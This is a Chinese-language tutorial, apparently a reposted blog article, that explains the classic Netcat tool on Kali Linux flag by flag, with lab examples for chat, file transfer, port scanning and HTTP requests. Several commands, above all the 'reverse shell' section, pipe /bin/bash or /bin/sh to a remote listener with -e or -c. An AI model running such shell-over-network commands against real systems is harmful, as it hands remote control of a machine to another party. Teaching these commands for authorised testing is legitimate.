当前位置: 首页 > news >正文

nc工具!Netcat:TCP/IP瑞士军刀!全参数详细教程!Kali Linux教程!

简介

Netcat 是一个简单的 Unix 实用程序,使用 TCP 或 UDP 协议跨网络连接读写数据。它被设计为一个可靠的“后端”工具,可以直接使用,也可以由其他程序和脚本轻松驱动。同时,它也是一个功能丰富的网络调试和探索工具,因为它可以创建几乎任何类型的连接,并具有一些有趣的内置功能。

Netcat,或者实际程序名称“nc”,早就应该作为另一个神秘但标准的 Unix 工具提供。

这是由 Hobbit 编写的“经典” Netcat。它缺少 Netcat-openbsd 中的许多功能。

最简单的用法是,“nc host port”会创建一个到目标主机指定端口的 TCP 连接。您的标准输入随后会被发送到目标主机,而通过该连接返回的任何数据都会发送到您的标准输出。此过程会一直持续,直到连接的网络端关闭。请注意,此行为与大多数其他应用程序不同,这些应用程序会在标准输入端收到文件结尾后关闭所有内容并退出。

Netcat 还可以充当服务器,通过监听任意端口上的入站连接,然后执行相同的读写操作。除了一些小限制外,Netcat 并不真正关心它是运行在“客户端”模式还是“服务器”模式——它仍然会来回传输数据,直到没有剩余数据为止。在任一模式下,都可以在网络端处于可配置的不活动状态后强制关闭。

而且它也可以通过 UDP 实现这一点,所以 netcat 可能就是你一直想要的“类似 UDP Telnet”的应用程序,用来测试你的 UDP 模式服务器。正如“U”的含义,UDP 的数据传输可靠性不如 TCP 连接,有些系统可能无法通过 UDP 发送大量数据,但它仍然是一个很有用的功能。

您可能会问“为什么不直接使用 telnet 连接到任意端口?”这个问题很有道理,以下是一些原因。Telnet 存在“标准输入 EOF”问题,因此必须在驱动脚本中引入计算延迟,以允许网络输出完成。这就是 netcat 一直运行到*网络*端关闭的主要原因。Telnet 也不会传输任意二进制数据,因为某些字符会被解释为 telnet 选项,因此会从数据流中删除。 Telnet 还会将一些诊断消息发送到标准输出,而 Netcat 会将这些消息与其*输出*严格隔离,并且永远不会修改传输中的任何实际数据,除非您*确实*需要。当然,telnet 无法监听入站连接,也无法使用 UDP 协议。Netcat 没有这些限制,而且比 telnet 更小巧、更快,并且还有许多其他优势。

安装

源码安装

我们进入到 netcat 的源码发布页。位于 sourceforge 的网站上。

https://sourceforge.net/projects/nc110/files/

点击 Download Lastet Version 按钮就可以下载了。

下载完成后的安装包是这样的。

我们把安装包移动到桌面去。这里得根据自己的实际情况进行修改。

mv nc110.20180111.tar.xz /home/你的kali用户名/桌面/nc110.20180111.tar.xz

解压这个文件

tar -xvf nc110.20180111.tar.xz

之后进入目录并查看

cd nc110/
ls

使用 make linux 进行编译

make linux

输入以下命令,如果出现这个界面就说明安装成功了。

./nc -h

APT包管理器安装

Kali Linux 默认已经安装好 netcat 工具了。如果还没有安装的话,也可以通过以下命令进行安装。

sudo apt install netcat-traditional

使用

注意:netcat 可以有多种命令写法,以下3种都是相同的命令,都是可以使用的。

netcat
nc
nc.traditional

1. -h

显示帮助

netcat -h

2. 常规使用

语法:
连接到某个位置:nc [-options] 主机名 端口 [端口] ...
监听入站:nc -l -p 端口 [-options] [主机名] [端口]

我们先在 Ubuntu 系统上开启监听模式。

nc -lv -p 8080

这样就进入监听模式了。

接下来在 Kali Linux 系统上去连接到 Ubuntu 系统。我这里 Ubuntu 系统的ip地址是192.168.174.145。如果是你自己的话得根据你系统的ip地址,可不能抄我的ip地址。

nc 192.168.174.145 8080

回到 Ubuntu 系统上,可以看到已经监听成功了。

我们在 Kali Linux 这里输入一些信息,在 Ubuntu 上也可以同步接收到。

3. -c shell

等同 `-e';使用 /bin/sh 执行 [危险!!]

指定连接后要执行的 shell 命令(请谨慎使用)。该字符串将传递给 /bin/sh -c 执行。如果您没有可用的 /bin/sh,请参阅 -e 选项(请注意,符合 POSIX 标准的系统必须有)。

nc -c /bin/sh 192.168.174.145 8080

4. -e filename

连接后执行的程序 [危险!!]

指定连接后要执行的文件名(请谨慎使用)。有关增强功能,请参阅 -c 选项。

nc -e /bin/sh 192.168.174.145 8080

5. -b

允许广播

允许 UDP 广播

nc -b 192.168.174.145 8080

6. -g gateway

源路由跳点,最多 8 个

nc -g 192.168.174.2 192.168.174.145 8080

7. -G num

源路由指针:4、8、12……

nc -G 8 192.168.174.145 8080

8. -i secs

发送线路和扫描端口的延迟间隔

nc -i 10 192.168.174.145 8080

9. -k

设置套接字的 keepalive 选项

nc -k 192.168.174.145 8080

10. -l

监听模式,用于入站连接

nc -lv

11. -n

纯数字 IP 地址,不使用 DNS

nc -nv 192.168.174.145 8080

12. -o file

十六进制流量转储

nc -o hexfile -v 192.168.174.145 8080

13. -p port

本地端口号

本地端口号(端口号可以是单个端口号,也可以是范围:低-高 [含])

nc -lv -p 4444

14. -r

随机化本地和远程端口

nc -r 192.168.174.145 8080

15. -q secs

在标准输入结束符 (EOF) 后退出,延迟秒数

在标准输入 EOF 后等待指定的秒数,然后退出。如果秒数为负数,则永远等待。

nc -q 5 192.168.174.145 8080

16. -s addr

本地源地址

nc -s 192.168.174.134 -e /bin/bash 192.168.174.145 8080

17. -T tos

设置服务类型

设置 TOS 标志(type 可以是“Minimize-Delay”、“Maximize-Throughput”、“Maximize-Reliability”或“Minimize-Cost”之一)。

nc -T Minimize-Delay -v -e /bin/bash 192.168.174.145 8080

18. -t

启用 Telnet 协商

nc -t -v -e /bin/bash 192.168.174.145 8080

19. -u

UDP 模式

nc -u -v -e /bin/bash 192.168.174.145 8080

20. -v

详细 [使用两次可显示更详细的信息]

nc -vv -e /bin/bash 192.168.174.145 8080

21. -w secs

连接和最终网络读取的超时时间

nc -w 10 -v 192.168.174.145 8080

22. -C

将 CRLF 发送为行结束符

nc -C -v 192.168.174.145 8080

23. -z

零 I/O 模式 [用于扫描]

nc -z -v 192.168.174.145 8080

综合使用

1. 建立简单的服务器和客户端(TCP/UDP)

Netcat 可以很容易地创建一个临时的服务器和客户端,实现两者之间的通信。

TCP 监听器(服务器端)

nc -l -p 12345

 

TCP 客户端连接到服务器

nc 192.168.174.145 12345

2. 端口扫描

Netcat 可以用来扫描目标主机的端口,判断哪些端口开放。

扫描目标主机的多个端口

nc -znv 192.168.174.145 20-80

3. 传输文件

Netcat 支持通过网络传输文件,作为一个简单的文件传输工具。

先接收后发送

我们先查看我们要发送的文件,我们要发送一个txt文件,里面包含一些文本。

先在 Kali Linux 打开接收文件(接收端)

nc -l -p 12345 > received_file.txt

 

Ubuntu 发送文件(发送端)

nc -w 3 192.168.174.134 12345 < file.txt

之后就可以在 Kali Linux 查看到接受到的文件。

先发送后接收

当然也可以反过来。先发送后接收。

先查看要发送的文件。

Kali Linux 发送文件(发送端)

nc -l -p 12345 < file2.txt

Ubuntu 打开接收文件(接收端)

nc 192.168.174.134 12345 > file2.txt

之后就可以看到我们传输成功的文件。

4. 反向 Shell / 绑定 Shell

Netcat 被广泛用于渗透测试,尤其是在反向 shell(反弹 shell)和 绑定 shell 的场景中。通过它,可以建立一个控制目标系统的 shell。

反向 Shell(攻击者监听端)

nc -l -vv -p 4444

 

目标主机反向连接(目标执行)

nc -vv -e /bin/bash 192.168.174.145 4444

回到我们的攻击者监听端(Ubuntu),就可以看到我们已经成功连接(反弹shell)上 Kali Linux 了。输入一些命令即可得到反馈。比如 idwhoamiuname -a 等。

5. 简易的聊天应用

Netcat 也可以用来创建简单的聊天应用,两个或多个用户可以使用它来建立一个基本的通信通道。

聊天模式(监听端)

nc -lv -p 12345

聊天模式(客户端)

nc -vv 192.168.174.134 12345

之后在两个终端里面就可以互相发送信息聊天了。

6. 发送 HTTP 请求

Netcat 可以用来手动发送 HTTP 请求,并查看响应。

手动发送 HTTP 请求

echo -e "GET / HTTP/1.0\r\nHost: baidu.com\r\n\r\n" | nc baidu.com 80

7. 调试和网络测试

Netcat 也常用于调试和测试网络应用,分析协议、测试连接等。

Telnet 调试(模拟 HTTP 请求)

nc -v 192.168.174.145 80

8. 绕过防火墙

通过使用 Netcat 的某些参数,可以帮助测试和绕过防火墙规则,进行安全评估。

使用 UDP 模式扫描特定端口

nc -u -zv 192.168.174.145 53-80

总结

Netcat(nc)是一个功能强大的网络工具,广泛应用于网络调试和渗透测试。它可以轻松地处理 TCP 和 UDP 连接,并且支持端口监听、数据转发和文件传输等功能。由于其简单易用和多功能性,Netcat成为了网络安全领域中不可或缺的工具。

在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。

欢迎各位大佬,小白来找我交流。

相关文章:

  • prometheus通过Endpoints自定义grafana的dashboard模块
  • 时序数据库IoTDB在航空航天领域的解决方案
  • 对Mac文字双击或三击鼠标左键没有任何反应
  • Mac 「brew」快速安装MySQL
  • 河道流量监测,雷达流量计赋能水安全智慧守护
  • 4.26 世界知识产权日|CRMEB与您共筑知识产权保护铠甲
  • 【playwright】 page.wait_for_timeout() 和time.sleep()区别
  • 【华为HCIP | 华为数通工程师】821—多选解析—第十七页
  • Spring 与 ActiveMQ 的深度集成实践(一)
  • 告别进度失控:用燃尽图补上甘特图的监控盲区
  • 第100+39步 ChatGPT学习:R语言实现Xgboost SHAP
  • (三) Trae 调试C++ 基本概念
  • 《AI大模型趣味实战》构建基于Flask和Ollama的AI助手聊天网站:分布式架构与ngrok内网穿透实现
  • 数字人民币杠杆破局预付乱象 XBIT智能合约筑牢资金安全防线
  • 基于Java,SpringBoot,Vue,HTML宠物相亲配对婚恋系统设计
  • 如何实现Android屏幕和音频采集并启动RTSP服务?
  • 【Linux内核设计与实现】第三章——进程管理04
  • 多模态大语言模型(MLLM)- kimi-vl technical report论文阅读
  • UWA DAY 2025 正式启动|十年筑基,驱动游戏未来引擎
  • 临床试验中安全性估计策略与应用
  • 鞍钢矿业党委书记、董事长刘炳宇调任中铝集团副总经理
  • 84%白化!全球珊瑚正经历最严重最大范围白化现象
  • 人民日报整版聚焦第十个“中国航天日”:星辰大海,再启新程
  • 蔚来李斌:当下国际贸易环境有不确定性,但坚信中国汽车产业最终将占全球四成份额
  • 《哪吒2》再次延映至五月底,春节档影片仍有竞争力
  • 陈曦任中华人民共和国二级大法官